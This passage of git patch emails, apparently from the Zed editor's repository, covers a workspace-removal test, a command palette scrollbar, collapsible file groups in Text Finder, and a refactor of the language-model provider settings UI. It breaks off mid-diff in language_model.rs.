+    fs.insert_tree("/root_a", json!({ "file.txt": "" })).await;
+    let project_a = Project::test(fs.clone(), ["/root_a".as_ref()], cx).await;
+    let project_b = Project::test(fs, ["/root_a".as_ref()], cx).await;
+
+    let (multi_workspace, cx) =
+        cx.add_window_view(|window, cx| MultiWorkspace::test_new(project_a, window, cx));
+
+    let workspace_a = multi_workspace.read_with(cx, |mw, _cx| mw.workspace().clone());
+    let workspace_b = multi_workspace.update_in(cx, |mw, window, cx| {
+        mw.test_add_workspace(project_b, window, cx)
+    });
+    cx.run_until_parked();
+
+    multi_workspace.update_in(cx, |mw, window, cx| {
+        mw.activate(workspace_a.clone(), None, window, cx);
+    });
+
+    let removed = multi_workspace
+        .update_in(cx, |mw, window, cx| {
+            let excluded = vec![workspace_a.clone()];
+            mw.remove(
+                excluded.clone(),
+                move |this, window, cx| {
+                    this.find_or_create_workspace(
+                        PathList::new(&[PathBuf::from("/root_a")]),
+                        None,
+                        None,
+                        |_options, _window, _cx| Task::ready(Ok(None)),
+                        &excluded,
+                        None,
+                        OpenMode::Activate,
+                        window,
+                        cx,
+                    )
+                },
+                window,
+                cx,
+            )
+        })
+        .await
+        .expect("removing the active workspace should succeed");
+    assert!(removed, "the workspace should have been removed");
+
+    multi_workspace.read_with(cx, |mw, _cx| {
+        assert_eq!(
+            mw.workspace().entity_id(),
+            workspace_b.entity_id(),
+            "the non-excluded workspace should become active"
+        );
+        assert!(
+            mw.workspaces()
+                .all(|workspace| workspace.entity_id() != workspace_a.entity_id()),
+            "the removed workspace should be gone"
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_find_or_create_local_workspace_reuses_active_workspace_after_sidebar_open(
     cx: &mut TestAppContext,

From 78b6bf2fbe2aa46688507e839ac1b537522e4c58 Mon Sep 17 00:00:00 2001
From: Xiaobo Liu <cppcoffee@gmail.com>
Date: Thu, 2 Jul 2026 21:23:17 +0800
Subject: [PATCH 220/772] command_palette: Show scrollbar in command palette
 (#60239)

Enable the command palette picker scrollbar while preserving the
one-shot reopen behavior.

---

Release Notes:

- N/A or Added/Fixed/Improved ...

Signed-off-by: Xiaobo Liu <cppcoffee@gmail.com>
---
 crates/command_palette/src/command_palette.rs | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/crates/command_palette/src/command_palette.rs b/crates/command_palette/src/command_palette.rs
index 3b8a6e770e4475..e1eddf01c282ce 100644
--- a/crates/command_palette/src/command_palette.rs
+++ b/crates/command_palette/src/command_palette.rs
@@ -126,7 +126,9 @@ impl CommandPalette {
 
         let picker = cx.new(|cx| {
             // One-shot action; there's nothing to reopen.
-            let picker = Picker::uniform_list(delegate, window, cx).reopenable(false, cx);
+            let picker = Picker::uniform_list(delegate, window, cx)
+                .reopenable(false, cx)
+                .show_scrollbar(true);
             picker.set_query(query, window, cx);
             picker
         });

From 17090674b34288db75128f96dfb336116e058ff2 Mon Sep 17 00:00:00 2001
From: ozacod <47009516+ozacod@users.noreply.github.com>
Date: Thu, 2 Jul 2026 16:49:41 +0300
Subject: [PATCH 221/772] text_finder: Add collapsible file groups (#60193)

## Summary

Add a chevron (`Disclosure`) to each file group header in Text Finder,
letting you fold/unfold that file's matches. Fold state is cleared
whenever a new search starts.

## Test plan

- [x] Open Text Finder, run a search with matches in multiple files
- [x] Click a header's chevron, confirm its matches hide/show and
selection lands on a visible row
- [x] Start a new search, confirm folded state doesn't carry over

Release Notes:

- Added the ability to collapse per-file match groups in Text Finder

---------

Co-authored-by: ozacod <ozacod@users.noreply.github.com>
Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 assets/keymaps/specific-overrides-macos.json |   3 +
 assets/keymaps/specific-overrides.json       |   3 +
 crates/search/src/text_finder.rs             |  20 ++-
 crates/search/src/text_finder/delegate.rs    | 173 ++++++++++++++++---
 crates/search/src/text_finder/render.rs      |   3 +
 5 files changed, 177 insertions(+), 25 deletions(-)

diff --git a/assets/keymaps/specific-overrides-macos.json b/assets/keymaps/specific-overrides-macos.json
index 3fd1d6c87f85be..e24dfb205178e4 100644
--- a/assets/keymaps/specific-overrides-macos.json
+++ b/assets/keymaps/specific-overrides-macos.json
@@ -39,6 +39,9 @@
     "use_key_equivalents": true,
     "bindings": {
       "alt-cmd-f": "text_finder::ToProjectSearch",
+      "alt-cmd-[": "text_finder::Fold",
+      "alt-cmd-]": "text_finder::Unfold",
+      "cmd-shift-enter": "text_finder::ToggleFoldAll",
       "cmd-j": "pane::SplitDown",
       "cmd-k": "pane::SplitUp",
       "cmd-h": "pane::SplitLeft",
diff --git a/assets/keymaps/specific-overrides.json b/assets/keymaps/specific-overrides.json
index 663153a84357d9..2c4191089abae5 100644
--- a/assets/keymaps/specific-overrides.json
+++ b/assets/keymaps/specific-overrides.json
@@ -39,6 +39,9 @@
       "ctrl-k": "pane::SplitUp",
       "ctrl-h": "pane::SplitLeft",
       "ctrl-l": "pane::SplitRight",
+      "ctrl-{": "text_finder::Fold",
+      "ctrl-}": "text_finder::Unfold",
+      "ctrl-shift-enter": "text_finder::ToggleFoldAll",
     },
   },
 ]
diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index 707587658ce5b9..500f8e4fe9e1ef 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -29,7 +29,7 @@ use util::ResultExt as _;
 
 use crate::{ProjectSearchView, SearchOptions, text_finder::delegate::PopulateProjectSearch};
 
-actions!(text_finder, [ToProjectSearch,]);
+actions!(text_finder, [ToProjectSearch, Fold, Unfold, ToggleFoldAll]);
 
 pub struct TextFinder {
     picker: Entity<Picker<Delegate>>,
@@ -259,6 +259,24 @@ impl TextFinder {
         self.open_in_split(workspace::SplitDirection::Down, window, cx);
     }
 
+    fn fold(&mut self, _: &Fold, _window: &mut Window, cx: &mut Context<Self>) {
+        self.picker.update(cx, |picker, cx| {
+            picker.delegate.set_selected_group_collapsed(true, cx);
+        });
+    }
+
+    fn unfold(&mut self, _: &Unfold, _window: &mut Window, cx: &mut Context<Self>) {
+        self.picker.update(cx, |picker, cx| {
+            picker.delegate.set_selected_group_collapsed(false, cx);
+        });
+    }
+
+    fn toggle_fold_all(&mut self, _: &ToggleFoldAll, _window: &mut Window, cx: &mut Context<Self>) {
+        self.picker.update(cx, |picker, cx| {
+            picker.delegate.toggle_all_collapsed(cx);
+        });
+    }
+
     fn open_in_split(
         &mut self,
         direction: workspace::SplitDirection,
diff --git a/crates/search/src/text_finder/delegate.rs b/crates/search/src/text_finder/delegate.rs
index 0b69e49d044b61..4d4b07174793a8 100644
--- a/crates/search/src/text_finder/delegate.rs
+++ b/crates/search/src/text_finder/delegate.rs
@@ -32,8 +32,8 @@ use editor::{MultiBufferSnapshot, PathKey, multibuffer_context_lines};
 use file_icons::FileIcons;
 use futures::StreamExt;
 use gpui::{
-    AnyElement, AppContext, AsyncApp, DismissEvent, EntityId, HighlightStyle, StyledText, Task,
-    TextStyle, prelude::*,
+    AnyElement, AppContext, AsyncApp, ClickEvent, DismissEvent, EntityId, HighlightStyle,
+    Modifiers, StyledText, Task, TextStyle, prelude::*,
 };
 use gpui::{Entity, FocusHandle};
 use language::{Buffer, LanguageAwareStyling};
@@ -45,15 +45,15 @@ use smol::future::yield_now;
 use text::Anchor;
 use theme_settings::ThemeSettings;
 use ui::{
-    Divider, FluentBuilder, IconButtonShape, ListItem, ListItemSpacing, Toggleable, Tooltip,
-    prelude::*,
+    Disclosure, Divider, FluentBuilder, IconButtonShape, ListItem, ListItemSpacing, Toggleable,
+    Tooltip, prelude::*, text_for_keystroke,
 };
 use util::ResultExt;
 use workspace::SplitDirection;
 use workspace::Workspace;
 use workspace::item::ItemSettings;
 
-use super::SearchMatch;
+use super::{Fold, SearchMatch, Unfold};
 use crate::project_search::{ActiveSettings, ProjectSearch};
 use crate::{ProjectSearchView, SearchOption, SearchOptions};
 
@@ -85,6 +85,7 @@ pub struct Delegate {
     /// column so every row's number right-aligns to the widest one. Recomputed in
     /// [`Delegate::rebuild_entries`].
     pub(crate) max_line_number: u32,
+    pub(crate) collapsed_paths: HashSet<ProjectPath>,
 }
 
 pub(crate) enum Entry {
@@ -316,6 +317,7 @@ impl Delegate {
                 in_progress_search,
                 unique_files: HashSet::default(),
                 max_line_number: 0,
+                collapsed_paths: HashSet::default(),
             });
 
             this
@@ -368,7 +370,9 @@ impl Delegate {
                 entries.push(Entry::Header(search_match.path.clone()));
                 last_path = Some(&search_match.path);
             }
-            entries.push(Entry::Match(match_index));
+            if !self.collapsed_paths.contains(&search_match.path) {
+                entries.push(Entry::Match(match_index));
+            }
         }
         self.entries = entries;
         self.max_line_number = self
@@ -394,6 +398,65 @@ impl Delegate {
             .position(|entry| matches!(entry, Entry::Match(_)))
     }
 
+    pub(crate) fn toggle_group_collapsed(&mut self, path: &ProjectPath) {
+        if !self.collapsed_paths.remove(path) {
+            self.collapsed_paths.insert(path.clone());
+        }
+        self.rebuild_entries();
+    }
+
+    pub(crate) fn set_selected_group_collapsed(
+        &mut self,
+        collapsed: bool,
+        cx: &mut Context<Picker<Self>>,
+    ) {
+        let path = match self.entries.get(self.selected_index) {
+            Some(Entry::Match(match_index)) => self
+                .matches
+                .get(*match_index)
+                .map(|search_match| search_match.path.clone()),
+            Some(Entry::Header(path)) => Some(path.clone()),
+            Some(Entry::Separator) | None => None,
+        };
+        let Some(path) = path else {
+            return;
+        };
+        if collapsed == self.collapsed_paths.contains(&path) {
+            return;
+        }
+
+        self.toggle_group_collapsed(&path);
+
+        if let Some(index) = self.entries.iter().position(|entry| match entry {
+            Entry::Header(header_path) => collapsed && *header_path == path,
+            Entry::Match(match_index) => {
+                !collapsed
+                    && self
+                        .matches
+                        .get(*match_index)
+                        .is_some_and(|search_match| search_match.path == path)
+            }
+            Entry::Separator => false,
+        }) {
+            self.selected_index = index;
+        }
+        cx.notify();
+    }
+
+    pub(crate) fn toggle_all_collapsed(&mut self, cx: &mut Context<Picker<Self>>) {
+        if self.collapsed_paths.is_empty() {
+            self.collapsed_paths = self
+                .matches
+                .iter()
+                .map(|search_match| search_match.path.clone())
+                .collect();
+        } else {
+            self.collapsed_paths.clear();
+        }
+        self.rebuild_entries();
+        cx.notify();
+    }
+
     fn selected_search_match(&self) -> Option<&SearchMatch> {
         match self.entries.get(self.selected_index)? {
             Entry::Match(match_index) => self.matches.get(*match_index),
@@ -626,7 +689,11 @@ impl PickerDelegate for Delegate {
     }
 
     fn can_select(&self, ix: usize, _window: &mut Window, _cx: &mut Context<Picker<Self>>) -> bool {
-        matches!(self.entries.get(ix), Some(Entry::Match(_)))
+        match self.entries.get(ix) {
+            Some(Entry::Match(_)) => true,
+            Some(Entry::Header(path)) => self.collapsed_paths.contains(path),
+            Some(Entry::Separator) | None => false,
+        }
     }
 
     fn selected_index(&self) -> usize {
@@ -674,6 +741,7 @@ impl PickerDelegate for Delegate {
             self.matches.clear();
             self.entries.clear();
             self.unique_files.clear();
+            self.collapsed_paths.clear();
             self.selected_index = 0;
             self.active_query = None;
             cx.notify();
@@ -841,27 +909,83 @@ impl PickerDelegate for Delegate {
                             .color(Color::Muted)
                             .size(IconSize::Small)
                     });
+                let is_collapsed = self.collapsed_paths.contains(path);
+                let toggle_path = path.clone();
+                let tooltip_focus_handle = self.focus_handle.clone();
 
                 Some(
-                    h_flex()
-                        .w_full()
-                        .min_w_0()
-                        .px(DynamicSpacing::Base06.rems(cx))
-                        .py_1()
-                        .gap_1p5()
-                        .children(file_icon)
+                    div()
+                        .px_1()
                         .child(
                             h_flex()
-                                .gap_1()
-                                .child(Label::new(file_name).size(LabelSize::Small))
-                                .when(!directory.is_empty(), |this| {
-                                    this.child(
-                                        Label::new(directory)
-                                            .size(LabelSize::Small)
-                                            .color(Color::Muted)
-                                            .truncate_start(),
-                                    )
-                                }),
+                                .w_full()
+                                .min_w_0()
+                                .p_1()
+                                .gap_1p5()
+                                .rounded_sm()
+                                .when(selected, |this| {
+                                    this.bg(cx.theme().colors().ghost_element_selected)
+                                })
+                                .child(
+                                    h_flex()
+                                        .gap_1()
+                                        .child(
+                                            Disclosure::new(
+                                                ("text-finder-fold", ix),
+                                                !is_collapsed,
+                                            )
+                                            .tooltip(move |_window, cx| {
+                                                let (label, action): (_, &dyn gpui::Action) =
+                                                    if is_collapsed {
+                                                        ("Unfold", &Unfold)
+                                                    } else {
+                                                        ("Fold", &Fold)
+                                                    };
+                                                Tooltip::with_meta_in(
+                                                    label,
+                                                    Some(action),
+                                                    format!(
+                                                        "{} to toggle all",
+                                                        text_for_keystroke(
+                                                            &Modifiers::alt(),
+                                                            "click",
+                                                            cx
+                                                        )
+                                                    ),
+                                                    &tooltip_focus_handle,
+                                                    cx,
+                                                )
+                                            })
+                                            .on_click(
+                                                cx.listener(
+                                                    move |this, event: &ClickEvent, _window, cx| {
+                                                        if event.modifiers().alt {
+                                                            this.delegate.toggle_all_collapsed(cx);
+                                                        } else {
+                                                            this.delegate.toggle_group_collapsed(
+                                                                &toggle_path,
+                                                            );
+                                                            cx.notify();
+                                                        }
+                                                    },
+                                                ),
+                                            ),
+                                        )
+                                        .children(file_icon),
+                                )
+                                .child(
+                                    h_flex()
+                                        .gap_1()
+                                        .child(Label::new(file_name).size(LabelSize::Small))
+                                        .when(!directory.is_empty(), |this| {
+                                            this.child(
+                                                Label::new(directory)
+                                                    .size(LabelSize::Small)
+                                                    .color(Color::Muted)
+                                                    .truncate_start(),
+                                            )
+                                        }),
+                                ),
                         )
                         .into_any_element(),
                 )
@@ -958,6 +1082,7 @@ async fn stream_results_to_picker(
                     delegate.matches.clear();
                     delegate.entries.clear();
                     delegate.unique_files.clear();
+                    delegate.collapsed_paths.clear();
                     delegate.selected_index = 0;
                     clear_existing = false;
                 }
diff --git a/crates/search/src/text_finder/render.rs b/crates/search/src/text_finder/render.rs
index d36587ce46d659..1f120f0e32dc27 100644
--- a/crates/search/src/text_finder/render.rs
+++ b/crates/search/src/text_finder/render.rs
@@ -15,6 +15,9 @@ impl Render for TextFinder {
             .on_action(cx.listener(Self::split_right))
             .on_action(cx.listener(Self::split_up))
             .on_action(cx.listener(Self::split_down))
+            .on_action(cx.listener(Self::fold))
+            .on_action(cx.listener(Self::unfold))
+            .on_action(cx.listener(Self::toggle_fold_all))
             .child(self.picker.clone())
     }
 }

From 4ff55d09e5ccd12fd67c5b5c17b0ffea703a4db0 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Thu, 2 Jul 2026 16:32:34 +0200
Subject: [PATCH 222/772] Refactor agent settings UI code (#60274)

This PR removes/simplifies some APIs that were leftover after moving the
agent settings from the agent panel into the agent settings UI.
Behavior/UI should be identical.

- Removed `ConfigurationViewTargetAgent` since only a single variant was
used
- Removed `configuration_view` and `configuration_view_v2` and replaced
it with `settings_view`
- Removed all the custom configuration views that were replaced by the
API key view abstraction
- Removed `intitial_title` and `initial_description` and moved it to
`ProviderSettingsView`

Release Notes:

- N/A
---
 crates/acp_thread/src/connection.rs           |  13 +-
 crates/agent_ui/src/conversation_view.rs      |  84 +------
 .../src/conversation_view/thread_view.rs      |   4 -
 crates/language_model/src/fake_provider.rs    |  23 +-
 crates/language_model/src/language_model.rs   | 108 +++++----
 .../language_models/src/provider/anthropic.rs | 190 ++-------------
 .../src/provider/anthropic_compatible.rs      |  46 ++--
 .../language_models/src/provider/bedrock.rs   |  36 ++-
 crates/language_models/src/provider/cloud.rs  |  75 +++---
 .../src/provider/copilot_chat.rs              |  92 +++----
 .../language_models/src/provider/deepseek.rs  | 167 +------------
 crates/language_models/src/provider/google.rs | 186 ++-------------
 .../language_models/src/provider/llama_cpp.rs |  35 +--
 .../language_models/src/provider/lmstudio.rs  |  34 +--
 .../language_models/src/provider/mistral.rs   | 182 +-------------
 crates/language_models/src/provider/ollama.rs |  34 +--
 .../language_models/src/provider/open_ai.rs   | 224 +-----------------
 .../src/provider/open_ai_compatible.rs        |  45 ++--
 .../src/provider/open_router.rs               | 176 +-------------
 .../src/provider/openai_subscribed.rs         |  83 +++----
 .../language_models/src/provider/opencode.rs  |  35 ++-
 .../src/provider/vercel_ai_gateway.rs         | 172 +-------------
 crates/language_models/src/provider/x_ai.rs   | 184 +-------------
 .../src/pages/llm_providers_page.rs           |  96 ++++----
 crates/settings_ui/src/settings_ui.rs         |   5 +-
 crates/zed_actions/src/lib.rs                 |   2 +-
 26 files changed, 432 insertions(+), 1899 deletions(-)

diff --git a/crates/acp_thread/src/connection.rs b/crates/acp_thread/src/connection.rs
index eaf51978b5d21a..5f0cf69890df0f 100644
--- a/crates/acp_thread/src/connection.rs
+++ b/crates/acp_thread/src/connection.rs
@@ -4,7 +4,7 @@ use anyhow::Result;
 use chrono::{DateTime, Utc};
 use collections::{HashMap, HashSet, IndexMap};
 use gpui::{Entity, SharedString, Task};
-use language_model::{DisabledReason, LanguageModelProviderId};
+use language_model::DisabledReason;
 use project::{AgentId, Project};
 use serde::{Deserialize, Serialize};
 use std::{any::Any, error::Error, fmt, path::PathBuf, rc::Rc};
@@ -421,26 +421,17 @@ impl dyn AgentSessionList {
 #[derive(Debug)]
 pub struct AuthRequired {
     pub description: Option<String>,
-    pub provider_id: Option<LanguageModelProviderId>,
 }
 
 impl AuthRequired {
     pub fn new() -> Self {
-        Self {
-            description: None,
-            provider_id: None,
-        }
+        Self { description: None }
     }
 
     pub fn with_description(mut self, description: String) -> Self {
         self.description = Some(description);
         self
     }
-
-    pub fn with_language_model_provider(mut self, provider_id: LanguageModelProviderId) -> Self {
-        self.provider_id = Some(provider_id);
-        self
-    }
 }
 
 impl Error for AuthRequired {}
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 350d9c2f912569..65632e9406b03e 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -28,14 +28,14 @@ use file_icons::FileIcons;
 use fs::Fs;
 use futures::FutureExt as _;
 use gpui::{
-    Action, Animation, AnimationExt, AnyView, App, ClickEvent, ClipboardItem, CursorStyle,
-    ElementId, Empty, Entity, EventEmitter, FocusHandle, Focusable, Hsla, ListOffset, ListState,
-    ObjectFit, PlatformDisplay, ScrollHandle, SharedString, StyledText, Subscription, Task,
-    TextRun, TextStyle, WeakEntity, Window, WindowHandle, div, ease_in_out, img, linear_color_stop,
+    Action, Animation, AnimationExt, App, ClickEvent, ClipboardItem, CursorStyle, ElementId, Empty,
+    Entity, EventEmitter, FocusHandle, Focusable, Hsla, ListOffset, ListState, ObjectFit,
+    PlatformDisplay, ScrollHandle, SharedString, StyledText, Subscription, Task, TextRun,
+    TextStyle, WeakEntity, Window, WindowHandle, div, ease_in_out, img, linear_color_stop,
     linear_gradient, list, pulsating_between,
 };
 use language::{Buffer, Language, Rope};
-use language_model::{LanguageModelCompletionError, LanguageModelRegistry};
+use language_model::LanguageModelCompletionError;
 use markdown::{
     CodeBlockRenderer, CopyButtonVisibility, Markdown, MarkdownElement, MarkdownFont, MarkdownStyle,
 };
@@ -758,9 +758,7 @@ enum AuthState {
     Ok,
     Unauthenticated {
         description: Option<Entity<Markdown>>,
-        configuration_view: Option<AnyView>,
         pending_auth_method: Option<acp::AuthMethodId>,
-        _subscription: Option<Subscription>,
     },
 }
 
@@ -1160,14 +1158,7 @@ impl ConversationView {
                 Err(e) => match e.downcast::<acp_thread::AuthRequired>() {
                     Ok(err) => {
                         cx.update(|window, cx| {
-                            Self::handle_auth_required(
-                                this,
-                                err,
-                                agent.agent_id(),
-                                connection,
-                                window,
-                                cx,
-                            )
+                            Self::handle_auth_required(this, err, connection, window, cx)
                         })
                         .log_err();
                         return;
@@ -1449,55 +1440,17 @@ impl ConversationView {
     fn handle_auth_required(
         this: WeakEntity<Self>,
         err: AuthRequired,
-        agent_id: AgentId,
         connection: Rc<dyn AgentConnection>,
         window: &mut Window,
         cx: &mut App,
     ) {
-        let (configuration_view, subscription) = if let Some(provider_id) = &err.provider_id {
-            let registry = LanguageModelRegistry::global(cx);
-
-            let sub = window.subscribe(&registry, cx, {
-                let provider_id = provider_id.clone();
-                let this = this.clone();
-                move |_, ev, window, cx| {
-                    if let language_model::Event::ProviderStateChanged(updated_provider_id) = &ev
-                        && &provider_id == updated_provider_id
-                        && LanguageModelRegistry::global(cx)
-                            .read(cx)
-                            .provider(&provider_id)
-                            .map_or(false, |provider| provider.is_authenticated(cx))
-                    {
-                        this.update(cx, |this, cx| {
-                            this.reset(window, cx);
-                        })
-                        .ok();
-                    }
-                }
-            });
-
-            let view = registry.read(cx).provider(&provider_id).map(|provider| {
-                provider.configuration_view(
-                    language_model::ConfigurationViewTargetAgent::Other(agent_id.0),
-                    window,
-                    cx,
-                )
-            });
-
-            (view, Some(sub))
-        } else {
-            (None, None)
-        };
-
         this.update(cx, |this, cx| {
             let description = err
                 .description
                 .map(|desc| cx.new(|cx| Markdown::new(desc.into(), None, None, cx)));
             let auth_state = AuthState::Unauthenticated {
                 pending_auth_method: None,
-                configuration_view,
                 description,
-                _subscription: subscription,
             };
             if let Some(connected) = this.as_connected_mut() {
                 connected.auth_state = auth_state;
@@ -1963,7 +1916,6 @@ impl ConversationView {
         let connection = connected.connection.clone();
 
         let AuthState::Unauthenticated {
-            configuration_view,
             pending_auth_method,
             ..
         } = &mut connected.auth_state
@@ -1974,7 +1926,6 @@ impl ConversationView {
         let agent_telemetry_id = connection.telemetry_id();
 
         if let Some(login_task) = connection.terminal_auth_task(&method, cx) {
-            configuration_view.take();
             pending_auth_method.replace(method.clone());
 
             let project = self.project.clone();
@@ -2043,7 +1994,6 @@ impl ConversationView {
             return;
         }
 
-        configuration_view.take();
         pending_auth_method.replace(method.clone());
 
         let authenticate = connection.authenticate(method, cx);
@@ -2292,7 +2242,6 @@ impl ConversationView {
         &self,
         connection: &Rc<dyn AgentConnection>,
         description: Option<&Entity<Markdown>>,
-        configuration_view: Option<&AnyView>,
         pending_auth_method: Option<&acp::AuthMethodId>,
         window: &mut Window,
         cx: &Context<Self>,
@@ -2305,10 +2254,8 @@ impl ConversationView {
             .agent_display_name(&self.agent.agent_id())
             .unwrap_or_else(|| self.agent.agent_id().0);
 
-        let show_fallback_description = auth_methods.len() > 1
-            && configuration_view.is_none()
-            && description.is_none()
-            && pending_auth_method.is_none();
+        let show_fallback_description =
+            auth_methods.len() > 1 && description.is_none() && pending_auth_method.is_none();
 
         let auth_buttons = || {
             h_flex().justify_end().flex_wrap().gap_1().children(
@@ -2383,12 +2330,7 @@ impl ConversationView {
                                     .color(Color::Muted),
                             )
                         } else {
-                            this.children(
-                                configuration_view
-                                    .cloned()
-                                    .map(|view| div().w_full().child(view)),
-                            )
-                            .children(description.map(|desc| {
+                            this.children(description.map(|desc| {
                                 self.render_markdown(
                                     desc.clone(),
                                     MarkdownStyle::themed(MarkdownFont::Agent, window, cx),
@@ -3245,7 +3187,6 @@ impl ConversationView {
     }
 
     pub(crate) fn reauthenticate(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let agent_id = self.agent.agent_id();
         self.cancel_request_elicitations(cx);
         if let Some(active) = self.root_thread_view() {
             active.update(cx, |active, cx| active.clear_thread_error(cx));
@@ -3256,7 +3197,7 @@ impl ConversationView {
             return;
         };
         window.defer(cx, |window, cx| {
-            Self::handle_auth_required(this, AuthRequired::new(), agent_id, connection, window, cx);
+            Self::handle_auth_required(this, AuthRequired::new(), connection, window, cx);
         })
     }
 
@@ -3288,9 +3229,7 @@ impl ConversationView {
                         if let Some(connected) = this.as_connected_mut() {
                             connected.auth_state = AuthState::Unauthenticated {
                                 description: None,
-                                configuration_view: None,
                                 pending_auth_method: None,
-                                _subscription: None,
                             };
                             cx.emit(StateChange);
                             if let Some(view) = connected.active_view()
@@ -3431,9 +3370,7 @@ impl Render for ConversationView {
                 auth_state:
                     AuthState::Unauthenticated {
                         description,
-                        configuration_view,
                         pending_auth_method,
-                        _subscription,
                     },
                 ..
             }) => v_flex()
@@ -3443,7 +3380,6 @@ impl Render for ConversationView {
                 .child(self.render_auth_required_state(
                     connection,
                     description.as_ref(),
-                    configuration_view.as_ref(),
                     pending_auth_method.as_ref(),
                     window,
                     cx,
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 858fc5e840eba0..0f3c18d2245897 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -1490,13 +1490,11 @@ impl ThreadView {
 
                 let connection = self.thread.read(cx).connection().clone();
                 window.defer(cx, {
-                    let agent_id = self.agent_id.clone();
                     let server_view = self.server_view.clone();
                     move |window, cx| {
                         ConversationView::handle_auth_required(
                             server_view.clone(),
                             AuthRequired::new(),
-                            agent_id,
                             connection,
                             window,
                             cx,
@@ -10836,7 +10834,6 @@ impl ThreadView {
             .on_click(cx.listener({
                 move |this, _, window, cx| {
                     let server_view = this.server_view.clone();
-                    let agent_name = this.agent_id.clone();
 
                     this.clear_thread_error(cx);
                     if let Some(message) = this.in_flight_prompt.take() {
@@ -10849,7 +10846,6 @@ impl ThreadView {
                         ConversationView::handle_auth_required(
                             server_view,
                             AuthRequired::new(),
-                            agent_name,
                             connection,
                             window,
                             cx,
diff --git a/crates/language_model/src/fake_provider.rs b/crates/language_model/src/fake_provider.rs
index f58130cccf44f6..a9cb4c5b5fb5c8 100644
--- a/crates/language_model/src/fake_provider.rs
+++ b/crates/language_model/src/fake_provider.rs
@@ -1,12 +1,12 @@
 use crate::{
-    AuthenticateError, ConfigurationViewTargetAgent, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelId, LanguageModelName, LanguageModelProvider,
-    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, LanguageModelToolChoice,
+    AuthenticateError, LanguageModel, LanguageModelCompletionError, LanguageModelCompletionEvent,
+    LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
+    LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
+    LanguageModelToolChoice,
 };
 use anyhow::anyhow;
 use futures::{FutureExt, channel::mpsc, future::BoxFuture, stream::BoxStream, stream::StreamExt};
-use gpui::{AnyView, App, AsyncApp, Entity, Task, Window};
+use gpui::{App, AsyncApp, Entity, Task};
 use http_client::Result;
 use parking_lot::Mutex;
 use std::sync::{
@@ -68,17 +68,8 @@ impl LanguageModelProvider for FakeLanguageModelProvider {
         Task::ready(Ok(()))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: ConfigurationViewTargetAgent,
-        _window: &mut Window,
-        _: &mut App,
-    ) -> AnyView {
-        unimplemented!()
-    }
-
-    fn reset_credentials(&self, _: &mut App) -> Task<Result<()>> {
-        Task::ready(Ok(()))
+    fn settings_view(&self, _: &mut App) -> Option<crate::ProviderSettingsView> {
+        None
     }
 }
 
diff --git a/crates/language_model/src/language_model.rs b/crates/language_model/src/language_model.rs
index 7a8aa00f92daf2..2e060049d0b056 100644
--- a/crates/language_model/src/language_model.rs
+++ b/crates/language_model/src/language_model.rs
@@ -15,6 +15,8 @@ use icons::IconName;
 use parking_lot::Mutex;
 use std::sync::Arc;
 
+pub type CreateProviderSettingsView = Arc<dyn Fn(&mut Window, &mut App) -> AnyView + 'static>;
+
 pub use crate::api_key::{ApiKey, ApiKeyState};
 pub use crate::registry::*;
 pub use crate::request::{LanguageModelImageExt, gpui_size_to_image_size, image_size_to_gpui};
@@ -320,13 +322,11 @@ pub trait LanguageModelProvider: 'static {
     }
     fn is_authenticated(&self, cx: &App) -> bool;
     fn authenticate(&self, cx: &mut App) -> Task<Result<(), AuthenticateError>>;
-    fn configuration_view(
-        &self,
-        target_agent: ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView;
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>>;
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView>;
+
+    fn set_api_key(&self, _key: Option<String>, _cx: &mut App) -> Task<Result<()>> {
+        Task::ready(Ok(()))
+    }
 
     /// Copy shown when this provider rejects a request as unauthenticated
     /// (HTTP 401). The default assumes API-key authentication; providers using
@@ -335,7 +335,7 @@ pub trait LanguageModelProvider: 'static {
     fn authentication_error_message(&self) -> SharedString {
         format!(
             "The API key for {} is invalid or has expired. \
-            Update your key via the Agent Panel settings to continue.",
+            Update your key in Settings > AI > LLM Providers to continue.",
             self.name().0
         )
         .into()
@@ -348,58 +348,69 @@ pub trait LanguageModelProvider: 'static {
     fn missing_credentials_error_message(&self) -> SharedString {
         format!(
             "No API key is configured for {}. \
-            Add your key via the Agent Panel settings to continue.",
+            Add your key in Settings > AI > LLM Providers to continue.",
             self.name().0
         )
         .into()
     }
 
-    /// Returns the provider's configuration UI together with how it prefers to
-    /// be presented: [`ProviderConfigurationView::Inline`] for a compact control
-    /// that can sit in a list row (e.g. a single API-key field), or
-    /// [`ProviderConfigurationView::SubPage`] for a richer view that needs its
-    /// own surface.
-    ///
-    /// The default reuses [`Self::configuration_view`] as a sub-page, so
-    /// providers only override this when they have a compact inline form.
-    fn configuration_view_v2(
-        &self,
-        target_agent: ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        ProviderConfigurationView::SubPage(self.configuration_view(target_agent, window, cx))
-    }
-
-    fn inline_title(&self, _cx: &App) -> Option<SharedString> {
+    /// Copy shown the first time a user enables fast mode for a model from
+    /// this provider. Returning `None` skips the confirmation prompt and lets
+    /// the toggle apply silently.
+    fn fast_mode_confirmation(&self, _cx: &App) -> Option<FastModeConfirmation> {
         None
     }
+}
 
